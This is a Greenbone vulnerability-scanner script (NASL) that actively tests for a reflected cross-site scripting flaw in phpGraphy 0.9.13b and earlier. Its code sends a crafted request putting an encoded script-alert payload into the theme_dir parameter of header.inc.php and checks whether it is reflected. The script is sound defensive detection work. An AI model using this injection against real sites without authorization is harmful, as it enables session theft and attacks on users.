phpGraphy <= 0.9.13b XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103154");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-05-02 15:13:22 +0200 (Mon, 02 May 2011)");
  script_tag(name:"cvss_base", value:"2.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("phpGraphy <= 0.9.13b XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"phpGraphy is prone to a cross-site scripting (XSS)
  vulnerability because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script
  code in the browser of an unsuspecting user in the context of the affected site. This may allow
  the attacker to steal cookie-based authentication credentials and to launch other attacks.");

  script_tag(name:"affected", value:"phpGraphy version 0.9.13b and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47634");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/517722");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

vt_strings = get_vt_strings();

foreach dir (make_list_unique("/phpgraphy", http_cgi_dirs(port: port))) {

  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/themes/default/header.inc.php");
  if (res !~ "^HTTP/1\.[01] 200" || "phpgraphy.css" >!< res)
    continue;

  url = dir + "/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28/" +
        vt_strings["lowercase"] + "/%29;%3C/script%3E";

  if (http_vuln_check(port: port, url: url, pattern: "<script>alert\(/" + vt_strings["lowercase"] + "/\);</script>",
                      check_header: TRUE, extra_check: "phpgraphy.css")) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);